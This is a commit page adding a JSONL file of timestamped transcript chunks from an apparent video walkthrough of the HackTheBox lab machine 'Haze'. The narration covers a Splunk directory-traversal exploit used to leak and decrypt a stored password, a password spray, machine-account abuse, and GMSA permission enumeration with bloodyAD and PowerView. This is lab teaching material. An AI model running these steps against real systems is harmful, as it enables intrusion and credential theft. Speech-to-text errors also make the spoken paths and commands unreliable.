k3nn3dy commited on
Commit
2f501bc
·
verified ·
1 Parent(s): 9b3dba9

Add HackTheBox_-_Haze.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_Haze.jsonl +120 -0
HackTheBox_-_Haze.jsonl ADDED
@@ -0,0 +1,120 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "What's going on, YouTube? This is IPSC and we'll be doing Haze from Hack the Box, which is a box I really enjoyed because it involves attacking a semi-h hardened Active Directory domain. But before we get to AD, we discover an outdated version of Splunk that's running and that is vulnerable to a file disclosure vulnerability, giving us the ability to leak the Splunk config and retrieve a password to get onto the domain. But the user we get access to doesn't have permission to list other users. And the next step is a password spray. So we can either perform a RID brute force to get a user list, but also domain users can add computers to the domain and computers are still allowed to list users. So once we perform the password spray, you unlock a user that has WinRM access. And the next step involves finding an attack path that Blood Hound doesn't show. I'll show", "start": 0.24, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
2
+ {"text": "enumerating interesting domain ACL with powerslo and also bloody AD. This opens up an attack chain that lets us read the Splunk backup config which has the admin password for Splunk, allowing us to install a malicious Splunk app. And once we do this, we land on the server with SC impersonate and can proves with any of the recent potato attacks. So with that being said, let's jump in. As always, we're going to start off with the end map. So - SC for default scripts, SV enumerate versions vv for double verose. This gives us things like the TTL OA upput all formats put in the end map directory call it haze. And then the IP address of 10101.61. This can take some time to run, so I've already ran it. Looking at the results, we have 14 ports open. The first one is going to be DNS on port 53. And the", "start": 42.96, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
3
+ {"text": "banner tells us it's simple DNS plus. And whenever I see this, I always scan down and see if Active Directory is installed. We see it here. And we have the domain as haze.htb. And also the SSLert tells us it's d1.haze.htb. And we also have the common name here.", "start": 86.4, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
4
+ {"text": "This looks like active directory certificate uh services is set up just based upon the naming convention. But let's go ahead and edit our host file to add the DC and stuff. So I'm going to do avt host. I'm going to do 1010 1161.", "start": 103.6, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
5
+ {"text": "We're going to add the fully qualified. Oh, I did not mean to copy that. Uh let's do uh the fully qualified name of dc1.haze.htb. We'll do the net bios name of d1 and then just the domain name of haze.htb. I always like adding all three of those when I have a domain controller. But let's go to the next port. Um, the next one is a Kerros. Then we have RPC 135139, LDAP on 389, uh, 445 SMB. We have more Kerros. Um, some Windows HTTP stuff. LDAP, LDAP, LDAP, um, another HTTP server on port 8000. And we see that is running Splunk HTTPD. So this is um a little bit unique. We see the login over here. If we go to this, we can see what the page looks like. Um there we go. Splunk Enterprise. Uh the default for Splunk Enterprise, if you Google it, is admin change me. And that's something I always test for is default login. And that fails. So let's see what else we have. We have 8088. So let's go see what this", "start": 116.24, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
6
+ {"text": "port is. So 8088 uh connection reset. I'm just going to try HTTPS. And that looks like it worked. Let's accept the certificate. And we just get a not found. And then we have 8089. So let's go take a look at this port as well. So 8089.", "start": 185.599, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
7
+ {"text": "And it looks like a atom feed. I think this is just XML data. But the key thing is it's telling us something. I'm going to turn um dark reader on. There we go.", "start": 205.92, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
8
+ {"text": "It's telling us the Spunk build is 9.2.1. So, we actually have the version of Splunk here. And that is handy because if we go to the Splunk page on 8000, um this was not HTTPS. Let's see. The copyright is 2025. If we Google this, 921 actually released in 2024. So the copyright looks like it's just being dynamically generated. So it's always showing the latest year, which is common. So you can't always depend on copyrights to get you um like the year the software was released, but if we Google like Splunk 92, I don't know why that didn't copy. Let's do 921. I always like looking at the release notes um to see exactly when something released. Uh 9201 is February 8th, 2024, I think it said. Let's see.", "start": 217.519, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
9
+ {"text": "9.2.1. There we go. It was released March 27th, 2024. So, we have an idea of when this Blunk um was released. And whenever I see that, I always like going to CVE details. And then we can search for the product and then we can kind of look for CVEes around that time, right? So, we can do Splunk. Um this is actually telling us the exact version. So, I'm just going to do 921. It's got 39 vulnerabilities. Um, I was hoping for a different one. Maybe version details. There we go. So, we have two XSS and 2024. A directory traversal as well. Uh, cross- sight request forgery. Um, I'm going to look at the directory traversal because that sounds more interesting than anything else. Um, cross-ite scripting generally requires like user interaction, right? So, I want to see exactly what this CVE is. So going here uh Splunk Enterprise below that can perform directory path", "start": 270.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
10
+ {"text": "reversal on module messaging endpoint in this. Let's see um I was hoping to quickly find out um like a chart that would tell me if this requires authentication or not. Maybe maybe I don't use CVE details that much.", "start": 332.24, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
11
+ {"text": "Um let's see if we just Google this CVE. We got a PC there. Go to the NIST page as well. The thing I'm looking for is is it unauthenticated? Right. I'm guessing this vector would tell me if I could know that. Let's see. Zoom in a little bit. Uh privileges required. None. User interaction none. Tech complexity low. Um so doesn't seem like it requires authentication. Right. If I go into one of the PC's, we can see kind of how it works. And I'm sure I could find a blog post on this as well, but it's pretty easy. It's just hitting this path and doing C col do as like a directory traversal, I guess, because this is Windows. Um, that's why we do that. So, let's see. Um, let's do curl.", "start": 351.039, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
12
+ {"text": "I'm going to do path asis. And I'm doing this because if I didn't do path asis, curl is automatically going to um handle that directory traversal for us. Actually, maybe it won't since we're doing the C colon. Um, but let's just hit this and I'm going to put the URL in single quotes and we get data back. I'm going to remove path as is just to see because curl generally doesn't like the two dot dots. Um, it's fine here. But if we did like this, then we definitely need the path as is because curl is going to normalize this and just say I'm just going to get rid of these dot dot slashes. Um, I wonder if we need the C colon. That's my next thing I'm going to test.", "start": 400.8, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
13
+ {"text": "I'm guessing we do because that's a very odd thing to put in the payload. Yeah. So, we definitely need that. So, let's do this. And we get to pass WD. Awesome. Um, I wonder if we did another one. So, I'm going to do C do slash and we get to the nothing. So, let's see. C do slash. I'm going to do a few more. And I'm going to assume I'm at the root of Windows now. And we can do um Windows and then is it like system 32 uh readme.ext or something. What is that?", "start": 445.44, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
14
+ {"text": "Um I forget exactly the path of it. Maybe it's the license. Uh license. And I think it's actually RTF, not text. There we go. So yeah, we can go into the root of C, but the thing I want to look at is this past WD. Um, I think I added two. Uh, maybe I added only one.", "start": 485.919, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
15
+ {"text": "So it looks like the proof of concept is getting us to a very specific directory. In Splunk, um, the actual agent kind of obeys a Linux convention once you get to the root. So there is a / etsy, a /var, um some other directories. Once we get on the box, maybe we'll look at it and make more sense. But this is just how Splunk is configured. So this past WDD, this isn't like a Linux Etsy passd. As we can see, the format is completely different. Um this is just um a Splunk where it stores that, right? And we could try to crack these hashes, but nothing will crack for us. Um so I'm not going to waste time doing that. Another thing we could do if we thought we're maybe in some like type of Linux thing, Etsy hostn name is also a file and we get a 404 there. The 404 is whenever we see like HTML. So we can get Splunk", "start": 514.32, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
16
+ {"text": "configuration files. Um the other thing I want to see is can we get like directory listings and we can't. If we just do Etsy, we get the HTML. So if we Google like Splunk authentication file and this start just comes out knowing how Splunk works, right? And it takes a lot of Googling. Um, if you weren't familiar with Splunk before, I imagine this will probably take you much longer than I'm showing you because I kind of um I've dealt with Splunk a lot and also I've sold this box before, so I kind of know the path, right? So, we go to Splunk home and then Etsy and then we have the configuration file potentially in system default and then authentication.com is where I think it says, right? Um, authentication. Yep.", "start": 562.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
17
+ {"text": "So, let's try this. Let's go. Etsy system default. called authentication.com. So this and then authentication.com and we get a config. Awesome. So let's scroll up and we see let's see anything useful in here. So password hashing algorithm doesn't look like anything. So this is just an Etsy default. Is there any other ones? Um, I want to say there's like a slashlo, right? Um, Etsy system local is another place. So, let's go check that one out. So, we can do etsy system local authentication.com. And this actually has a lot of data. We see a bind dn of Paul Taylor. And then we have this binddn password. In Splunk, um, these passwords are going to be reversible. I always laugh that Splunk chose seven because in Cisco type 7 is a reversible format that is exor. Um Splunk is just encrypted. It's not the", "start": 606.08, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
18
+ {"text": "same exact format, but it's funny that both of them chose seven as the type, right? And there is a tool um let's see decrypt Splunk password. I know you can pip x install it. I want to say it's like splunk secrets. Yeah. So you can do a pipex install splunk secrets and this will get you the tool. I already have it installed. So if we do um splunk secrets and then um oh in order to decrypt it, we need to get the master key. So there's one more file we need. I'm going to just take note of this. So we'll call this um splunk.hash, I guess. Paste that in. And then um we need to get the Splunk secret file. And I think that's just an Etsy is either Etsy. Maybe it's just Splunk.", "start": 671.92, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
19
+ {"text": "secret. Oops. Uh maybe secrets.", "start": 724.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
20
+ {"text": "Let's see. Splunk secrets file. It's probably also going to be in that GitHub. Um Splunk home Etsy off. So Etsy off Splunk. secret.", "start": 730.8, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
21
+ {"text": "So, Etsy O Splunk secret. And there we go. We have that file. I'm just going to save it to Splunk. So, we have it. And now we can use Splunk secrets-help.", "start": 745.6, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
22
+ {"text": "And we want to do Splunk decrypt. So, Splunk- decrypt.", "start": 760.959, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
23
+ {"text": "And then we need to specify the secret text. So we can do - s and then we can specify the file and I think we can just specify this splunk.hash. Maybe not. Um let's catlunk. Maybe we need to actually copy and paste this. So we'll copy this and we will paste it. And there we go. We got a password. Um, make sure you're doing it in single quotes. If you don't, then this is going to get translated as like a variable and you'll get no output. Watch. Um, there you go. So, always make sure you put it in single quotes when doing that. But we get a password here. So, what we want to do is um take note of that. And if we went back to the curl of um the authentication.com and local, we see the bind um DN is Paul Taylor. So most likely this password goes to Paul Taylor, right? So let's go ahead and use um username anarchy on Paul Taylor. And", "start": 768.24, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
24
+ {"text": "this will generate a bunch of potential usernames. And I'm just going to do usernames.ext.", "start": 841.519, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
25
+ {"text": "And now we can use net exec SMB 1010 11161 which is the um IP of this box- u um we'll do usernames.ext-ps.ext even though it's just one and then we're going to run this and see if any of the usernames hit. We could have also probably used like curbroot and done the user enume to find a valid username format but since we had the password already might as well right and we get the credential right here. So, we have Paul Taylor's creds. So, I'm just going to do creds.ext.", "start": 847.199, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
26
+ {"text": "We have that. And then let's do um dash u. Let's actually say paul.taylor.", "start": 880.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
27
+ {"text": "And then -p. Let's go ahead and add this.", "start": 889.36, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
28
+ {"text": "Okay. And we got authenticated. Awesome. So my first thing normally is to do like a d- users to list all the users on the domain. So running this it looks like it is running and we only get one. Um which is odd. We don't even have like administrator. All the default ones aren't shown. And in active directory you can actually prevent users from doing a directory listing right. uh we could try like ri brute and this is going to uh brute force users through the ri and this is going to get us a list of users and groups on the box but there is another trick we can do the ri brute force is the intended way to do it um we see an interesting group right here that's going to be interesting later GMSA manager um but this is the intended way there is the second way this way I did it um in active directory", "start": 896.56, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
29
+ {"text": "you can normally prevent users from listing users unless like you do exchange and you want them like the mailbox and things to work. Um, but it's very hard to prevent a computer object from being able to query users because it needs to be able to translate SIDS and do all of that, right? And lowprivilege users can normally add machines to a domain. So, we can use the add computer from impact. We're going to add a computer account. Then, we're going to use the computer account to um query a list of users without the brute force. And what that's going to buy us the ability to do is run um Rusttown, right? Because if we just ran um Rusttown as a Paul tailored user, it's not going to get much information because it doesn't have a lot of permissions in Active Directory, right? We can do the RID brute, but um Rusttown", "start": 949.759, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
30
+ {"text": "doesn't really care about that. That's just enumerating um if the user is valid. We can't look into what things they can do. So in order to run um Rusttown, we want to be able to um get that computer account. So, let's go ahead and do that. So, I'm going to use add computer. And then we're going to give it the computer name. And this can be anything we want. I'm just going to do IPS, right? And then we're going to give it the password. Um, again, anything we want. I'm just going to do please subscribe. Bang. And then, um, the DC host. I already set up my, um, passd file, so this should be fine. Of haze.htb. And then the domain net bios. we need is just going to be Hayes and then authentication is Hayes paul.taylor and then we need creds. Let's go ahead and grab this. So we can grab this password. Paste that in. And I think that's all we need. We'll", "start": 997.04, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
31
+ {"text": "run this. It's thinking. And there we go. Successfully added machine account IPS with password. Please subscribe. So now we can go back to our net exec and I'm going to specify ipsc with a dollar and then we're going to do please subscribe bang and make sure we can authenticate and then once we can I'm going to do d- users like this and hopefully we get a list of all the users on the box. So, now that we have this, um, I'm going to, uh, get a TGT and then we'll use Rust Hound in order to, um, start our Blood Hound. And the reason why I'm going to use TGT is because Rust Hound actually, I had a lot of trouble authenticating with just a um, computer account. It looks like it's kind of hardcoded to use user accounts, but if we do the TGT, we can just pass the ticket in and then have it work that way, right? So let's do that. Now", "start": 1058.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
32
+ {"text": "Rusttown is going to um use our local Kerros config. So we have to generate a KB file. So we're going to do a net exec again and we'll do generate- kobb5- file. I'm going to call it haze.k. And all this file does is just tell our Linux machine how to talk to the domain. Right? If we cat it, we can see that's the file. I'm going to do sudo cp haze.htb http etsy kob5.com and now we have that. Let's now um do a get tggt. So we can do get tggt um is it haze.htb htb I think there's going to be in single quotes then ipsseack like this colon please subscribe and then at um what is it dco1 hazehtb um empty domain not allowed we have the domain maybe it wants a forward slash uh clock skew. So, our timing is off from the domain controller. If we went all the way back in end map, um it does tell us that. Uh let's see. It should", "start": 1127.039, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
33
+ {"text": "have uh there we go. Clock skew, right? We have an 8 hour time difference. So, I'm just going to do pseudo NTP date of 10 10 1161. And this is going to sync our time up with that. And then we can run this get TGT again. We're going to get the ticket now and hopefully after this we'll be able to run um blood hound. So I'm going to do a kob 5cc name is equal to um my cc cache file. Then we can do rust hound community edition specify - k for kerros collection method is all domain is haze.htb htb. Um, and I want to zip it up. And we need the -f to specify the domain. So, we'll do um I think it was dco1.haze.htb.", "start": 1207.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
34
+ {"text": "It may have just been DC. Um, no, looks like it was d1. And there we go. We have rustound now dumping everything. If we do a ls, we have the zip here. So, let's go ahead and start up blood hound. So, I'm going to go to um opt bloodhound server is where I have it installed.", "start": 1259.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
35
+ {"text": "Docker compose up-d and that's going to start up blood hound. And I'm going to wait for this start and then we'll be able to log into blood hound. Okay, it looks like it has been started. So now let's go to 127001 port 8088 and I'm going to go ahead and upload the data. So, I'm going to go to upload files and then uh let's see. Does this open this? There we go. Go here and we will drag and drop this zip.", "start": 1277.76, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
36
+ {"text": "Click upload. And that's going to take some time to ingest. Uh while that does, I'm going to go ahead and run the d- users command again. And we're going to list all the users because um one of the steps is going to be doing a password spray. And I'm just going to build the list while uh Blood Hound ingest.", "start": 1315.84, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
37
+ {"text": "So this will just save time, make it easier for me to record. So let's go ahead and grab all this uh v. Let's go uh users.temp. I guess that's not it. There we go. Save it.", "start": 1337.039, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
38
+ {"text": "And let's see.", "start": 1354.64, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
39
+ {"text": "Did I not save?", "start": 1359.679, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
40
+ {"text": "It's there.", "start": 1366.0, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
41
+ {"text": "Okay. I don't know what I was doing, but we have it there. Now, one, two, three, four, five. We want the fifth field. So, we'll do an a print dollar five. There we go. I'm going to direct this to users.ext.", "start": 1372.0, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
42
+ {"text": "And we can remove the users.temp because we no longer need it. Interesting enough, almost every password is set at the same exact time. These are a second off of this, but um once the computer boots up, it looks like it sets all the passwords. So now that we have that, uh, is our blood hound data ingested? It is. Uh, we can go ahead and explore to see if we have anything.", "start": 1391.28, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
43
+ {"text": "So let's see. The first thing I would probably do, uh, we have Paul Taylor, right? So we can see what this user is.", "start": 1416.96, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
44
+ {"text": "Uh, click on it and see outbound control what Paul Taylor has access to. They're a member of domain users that has enrolled on some certificates and none of these are dangerous certificates. If um it was part of like a ADCS attack path, it would tell us. And then we look we're member of authenticated users. We can look at all of our groups here.", "start": 1426.72, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
45
+ {"text": "certificate services users authenticated everyone Splunk LDAP off um pre something pre Windows 2000 domain users uh we could potentially I never tried this but if I'm in the Splunk group um I may be able to uh log in. So, we do username Paul Taylor and password. Uh, what was Paul Taylor's password? Paul Taylor. This LDAP off Splunk.", "start": 1451.76, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
46
+ {"text": "Let's copy paste. Uh, login failed. We could try like at haze.htb. Um, I think etsy passd just said Paul, right? Uh, let's see. Password wd.", "start": 1489.039, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
47
+ {"text": "Is that it? Let's see. What was it? It just said Paul, but that still didn't work. So, we can't log in. Um, so it looks like this isn't set up for LDAP off maybe. I don't know exactly, but can't log in there. Let's go back over to Blood Hound and see other things. is if we went to um cipher queries and did some of these like shortest path to tier zero high value targets run it we don't really get anything. We could go around uh gold insert but that's again all high privilege. Uh what group is this? uh domain administrator.", "start": 1507.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
48
+ {"text": "That's administrator.", "start": 1560.08, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
49
+ {"text": "So there's really not all much we can get from this cipher queries. We could spend more time here and potentially um discover things, but we had a list of users. So let's try doing the password spray, right? So if I did my cat users.ext, text. We have a list of users here. So, let's do um NXC SMB 1010 11161 users.ext P. And I have that Splunk password in here already. So, I'll just save that or save me from copy and pasting it. We see it there. And uh we also want to do continue on success because soon as it gets a success, it stops. And it stopped on Paul Taylor. We already knew that. So, I'm going to run it again. And now we see Mark Adams as well. So, we got a second account. Let's see um Mark Adams real quick. So, we can do Mark Adams. I probably should be setting these accounts to owned as I go.", "start": 1566.799, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
50
+ {"text": "Um it's a habit I'm not in. Let's add to owned. There we go.", "start": 1624.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
51
+ {"text": "Um outbound object control kind of looks the same, right? Yep, that looks the same. Uh member of we can see domain users, remote management. Uh we weren't in that before. This will allow us to do WinRM um certificate service. We got this GMSA managers, which is a new account, uh a new group we haven't seen. So if we look at what this group is, um we have inbound object control. It doesn't look like it has any permissions according to Blood Hound, right? Um but this group has to do something. um this GMSA managers if I search for GMSA uh it's it's just this. So let's now um let's see what can we do. I guess we should be logging into the box. So, I'm going to use evil winrm i 1010 11161- mark Adams-P and let's cat this password like this. Okay.", "start": 1633.12, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
52
+ {"text": "And now we are on the box. So the first thing I'm going to do is run a command called get80 service account. And the reason why I'm running this is because we had this group that we're a member of the GMSA managers, which is group managed service accounts. But we don't know what the group managed service account is, right? We could probably just manually look through Blood Hound data and figure it out. But this um query is just going to list them all, right? So we do this and we can see there is an account called Hayes IT backup. And if we look at this, so we do Hayes ID backup, we see there is an account here and we can see it's a member of we got outbound control. It looks very similar to what we have, but it does have right ownership over to this support service at haze.htb.", "start": 1705.2, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
53
+ {"text": "And if we look at um what support service can do, it looks like it can add a credential link over to um Edward Martin. So we can get access to this account, which if we look at Edward Martin, um they're a member of the backup reviewers group. So I think this is going to be the end goal is getting over to Edward Martin. So, we want to um take over uh this account somehow. So, let's see.", "start": 1755.84, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
54
+ {"text": "Um we're member of the group. You may think we could just from Mark. Um let's do cat users and cat password. Um NXC LDAP 101011.61- 61- U mark Adams-P. We'll put this password in and then add the GMSA. You think may think since we're a member of the uh weird GMSA group that we'd be able to read the password, but it doesn't look like we can.", "start": 1789.679, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
55
+ {"text": "Um, and we'll get into that in just a minute, right? NLM no permissions. So, let's see. Um, what I want to do is run Power View. So, there's probably three ways we can do it. I'm going to show you Power View and Bloody AD. Um, but if we use Power View, I'm going to do dash h real quick because I want to set my scripts directory of opt power exploit um, recon. There we go.", "start": 1830.559, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
56
+ {"text": "And we will copy this real quick.", "start": 1864.72, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
57
+ {"text": "It's going to take a little while to um load Power View, but I also want to show if we were doing some enumeration and we went to CD backslash did a diir, we went to backups, we see we don't have any permission inside of this directory. Um I don't think we can even like I cackles to view that. um I cackles backups uh we just get access is denied but it's reasonable to think members of the backup reviewers have access to this backups directory right so power view isn't working well powerview will work for us it's just taking a while to load um we can do bloody ad so I'm going to show that real quick we'll do bloody ad host DC1 haze httpb um specify the domain main user Mark Adams. We need to get the password.", "start": 1870.08, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
58
+ {"text": "Copy this. So, dash um P for password.", "start": 1931.2, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
59
+ {"text": "And then I think it's get writable and um I think we need a d-detail.", "start": 1936.64, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
60
+ {"text": "And this is going to show me everything Mark Adams has right access to. So we can see um right access to myself whatever this foreign security principle is um and then we have right access to this MSDS group um MSA membership. So since we can write here this is what's going to enable us to um allow a privilege to read passwords. So that's one way we could do it is just running the um get writable and see oh we can write to this permission bit that will allow us to read GMSA passwords. Um now that we have power view loaded we can pretty much do the same thing right that' be a find interesting domain ACL and then resolve gooids. And if we run this it's going to show pretty much every interesting gooid. Um this may take a little bit to run. And I may regret hitting enter there, but essentially this is what Blood Hound is using to build all those", "start": 1945.519, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
61
+ {"text": "edges for all the paths, right? Um it just doesn't know about this um group MSA membership, right? If we had generic right to this, it would probably show us we could read GMSA passwords. Um it's just not um I guess fine grained enough to understand this particular permission bit. Um but I'm going to pause the video and we're going to wait for this. Oh, maybe not. Maybe it just finished. There we go. So, we can see all the permissions. Uh, we have a lot of permissions on the IPS computer because we um added actually it's not us. We can see Paul Taylor has access over it. So, this is showing all the interesting domains. Uh, what we want to do though is just filter on what we find interesting, right? So, we're going to ask it the question by doing a pipe. And then we'll say where the um identity reference name is going to match the group we want,", "start": 2008.159, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
62
